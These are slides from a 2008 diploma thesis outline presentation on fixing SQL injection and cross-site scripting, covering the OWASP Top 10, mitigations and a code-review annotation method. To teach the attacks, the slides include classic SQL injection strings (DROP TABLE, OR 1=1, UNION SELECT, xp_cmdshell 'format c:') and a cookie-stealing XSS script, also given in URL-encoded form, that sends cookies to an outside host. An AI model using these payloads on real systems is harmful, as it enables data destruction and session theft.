Whatever it takesFixing SQLIA and XSS in the process

Diploma Thesis Outline Presentation, Florian Thiel

Seminar “Beiträge zum Software Engineering”, FU Berlin, 11/06/2008

1. XSS

2. Injection Flaws

3. Malicious File Execution

4. Insecure Direct Object Reference

5. Cross-Site Request Forgery

OWASP Top 10 2007

1. XSS

2. Injection Flaws

3. Malicious File Execution

4. Insecure Direct Object Reference

5. Cross-Site Request Forgery

OWASP Top 10 2007

© by xckd: http://xkcd.com/327/

© by xckd: http://xkcd.com/327/

“SELECT firstname FROM Students WHERE (login = ‘%s’);” % login

© by xckd: http://xkcd.com/327/

“SELECT firstname FROM Students WHERE (login = ‘%s’);” % login

SELECT firstname FROM Students WHERE (login = ‘Robert’); DROP TABLE Students; -- ‘);

© by xckd: http://xkcd.com/327/

SQLIA threats

• data integrity

• confidentiality

• new attack vector

“UPDATE Users SET password = ‘%s’ WHERE uid = ‘%s’;” % (pw, uid)

UPDATE Users SET password = ‘password’ WHERE uid = ‘robert’ OR 1=1; --’;

Integrity

“SELECT product FROM Products WHERE productid = ‘%s’;” % pid

Confidentiality

SELECT product FROM Products WHERE productid = ‘0 UNION SELECT owner, balance FROM

Accounts; --’;

“SELECT product, price FROM products WHERE category = ‘%s’;” % category

SELECT product, price FROM products WHERE categoryid = exec

master..xp_cmdshell “format c:”-- ;

New Attack Vector

Bad Mitigations

• PHP: addslashes()

• IDS blacklisting

• validation blacklisting

Decent Mitigations

stmt = prepare(“SELECT name FROM Users WHERE uid = $1”)

db.execute(stmt, uid)

Why it’s hard

Control Data

More problems

• validation context != execution context

• really tolerant DBs

• “SEL”+”ECT”, anyone?

• DBs trying to fix illegal SQL

Something different!?

http://searchsite/search?keyword=”<script>alert(‘you have been XSSed!’)</script>”

Something different!?

http://searchsite/search?keyword=”<script>alert(‘you have been XSSed!’)</script>”

“This issue isn't just about scripting, and there isn't necessarily anything cross site about it. So why the name? It was coined earlier on when the problem was less understood, and it stuck. Believe me, we have had more important things to do than think of a better name. <g>. “

-- Marc Slemko, Apache.org

eval(‘user input’)1,2

1) the essence of XSS2) limited only by the execution environment

XSS

• code injection

• popular in ECMAScript/Web2.0

Got cookies?

<script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>

Got cookies?%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f

%63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72

%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b

%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e

The Worm

(Non-working) XSS Mitigations

• blacklisting of cribs

• blacklisting of characters

helpful mitigations

• HTTPOnly cookies

• Whitelisting of characters

Common flaws

• HTML/XSS and SQL

• mix data and control

• have no well-defined execution environment

Common flaws

• HTML/XSS and SQL

• mix data and control

• have no well-defined execution environment

• have no “API”

Failure to sanitize data into a different plane

Safe Query Objects

• “real” SQL API

• adds static types

• dynamic queries still runtime evaluated

AntiSamy

• Policy-based sanitation for HTML entities

• “Types” (by RegEx)

• (no semantics)

Another job well done!

GET /en-us/library/aa287673(VS.71).aspx HTTP/1.1Host: msdn.microsoft.comUser-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-us,en;q=0.5Accept-Encoding: gzip,deflateAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7Keep-Alive: 300Connection: keep-aliveReferer: http://www.google.de/search?q=http+request+header+example&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-aCache-Control: max-age=0

Hmm, are we missing something

here?

Absolutely!

The interesting* part

* what my thesis is really about

Make sure that the technical solutions are thoroughly applied

1. Make developers use a reasonable architecture

2. Make developers recognize a weakness when they meet one

3. Make developers find weaknesses

4. Make people actually fix things

1) (Architecture)

• centralization

• canonicalization

• have to be conservative

2) (Recognition)

• patterns?

• flawed code examples in the wild

3) (Detection)

• automated flow analysis

• code inspection

Code inspection

• need a reading technique

• defect-based reading

Artifacts

• reviewer annotates suspicious code regions

• e.g. @userinput, @output

• makes review work visible in the source code

• and more valuable since annotations can be reused

// @userinput(data)// [insert data into query, ignore non-alphanums]def insertAlphaNum(query, data): // [make sure data is canonical] c_data = data.toCharSet(...) c_data.replace(...) ... // [insert data into query] query.prepare(...) query.insert(data...) ...

4) (Repair)

• once weakness is known, developers should be motivated enough

• focus is on keeping the code secure, minimizing effort

My tasks

• provide practical architectural assumptions

• construct effective reading method

• + awareness of potential weaknesses

• get a project to adopt my methods

Questions?

This presentation is licensed under a Creative Commons BY-SA license.

Slides, materials, progress etc. can be found @ http://www.noroute.de/blog/diplomathesis

Attribution for pictures through links.

Thank you!